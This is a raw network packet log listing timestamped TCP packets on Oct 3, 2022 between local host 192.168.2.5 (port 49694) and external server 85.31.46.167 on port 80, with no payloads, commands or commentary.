Oct 3, 2022 17:30:12.105545044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105540991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105570078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.105576038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105576038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105612040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.105837107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.107647896 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107685089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107717037 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107738972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107762098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107783079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107805014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107822895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107841969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.107850075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107872963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107896090 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107908010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.107918978 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107944012 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107945919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.107945919 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.107968092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.107976913 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.107992887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108015060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108036995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108042002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108042002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108042002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108059883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108083010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108083963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108108997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108110905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108134985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108140945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108160019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108166933 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108184099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108186007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108208895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108231068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108253002 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108267069 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108274937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108299971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108315945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108320951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108345032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108362913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108385086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108397961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108412981 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108423948 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108438015 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108447075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108458996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108472109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108494043 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108504057 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108516932 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108534098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108557940 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108558893 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108581066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108602047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108613968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108623981 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108637094 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108645916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108654976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108673096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108694077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108707905 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108716011 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108738899 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108763933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108766079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108766079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108786106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108791113 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108810902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108814001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108836889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108859062 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108876944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108876944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108886003 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108908892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108912945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108932972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108937025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108957052 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.108990908 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.108990908 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.109111071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.132903099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.132952929 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.132986069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133006096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133028984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133044958 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133074999 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133083105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133099079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133117914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133137941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133137941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133146048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133169889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133178949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133194923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133217096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133224010 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133235931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133260965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133282900 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133305073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133306980 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133330107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133331060 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133352995 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133353949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133393049 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133394003 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133416891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133438110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133459091 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133459091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133485079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133502007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133514881 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133527994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133541107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133553982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133567095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133584976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133584976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133595943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133620024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133620977 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133641958 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133651972 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133665085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133687019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133690119 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133708000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133717060 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133733034 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133754015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133774042 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133779049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133797884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133819103 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133824110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133845091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133851051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133867979 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133891106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133903027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133903027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133913040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.133939028 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.133939981 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.134116888 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.135965109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136002064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136032104 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136054039 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136075974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136096954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136118889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136138916 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136142015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136161089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136203051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136209011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136228085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136241913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136274099 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136276007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136301994 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136311054 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136343002 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136372089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136399031 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136404037 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136435032 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136435986 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136462927 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136467934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136495113 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136498928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136529922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136550903 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136574984 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136579990 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136609077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136611938 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136643887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136682987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136682987 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136687040 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136718035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136723042 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136750937 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136782885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136811018 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136812925 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136845112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136845112 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136877060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136912107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136921883 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136921883 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136938095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.136948109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.136981010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137001991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137018919 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137044907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137047052 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137068033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137070894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137092113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137095928 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137115955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137125969 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137140989 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137161970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137183905 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137201071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137201071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137228012 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137243032 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137243986 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137255907 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137273073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137295961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137304068 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137320042 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137321949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137342930 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137363911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137376070 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137387991 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137388945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137411118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137427092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137451887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137459040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137459040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137475014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137475014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137499094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137504101 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137516022 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137533903 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137538910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137572050 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137578011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137578011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137593985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137602091 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137623072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137634993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137648106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137669086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137690067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137696028 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137707949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137722969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137742996 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.137871981 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.137871981 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161005974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161061049 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161091089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161118031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161145926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161178112 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161176920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161176920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161210060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161237955 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161241055 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161271095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161274910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161302090 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161309958 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161339998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161371946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161376953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161396980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161410093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161422014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161422014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161447048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161459923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161480904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161508083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161537886 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161542892 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161567926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161570072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161602020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161607981 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161633015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161639929 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161657095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161684990 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161688089 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161715031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161722898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161747932 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161772013 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161782026 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161793947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161814928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161832094 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161851883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161873102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161876917 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161900997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161923885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161935091 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:12.161943913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161967993 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.161987066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:12.162000895 CEST	49694	80	192.168.2.5	85.31.46.167
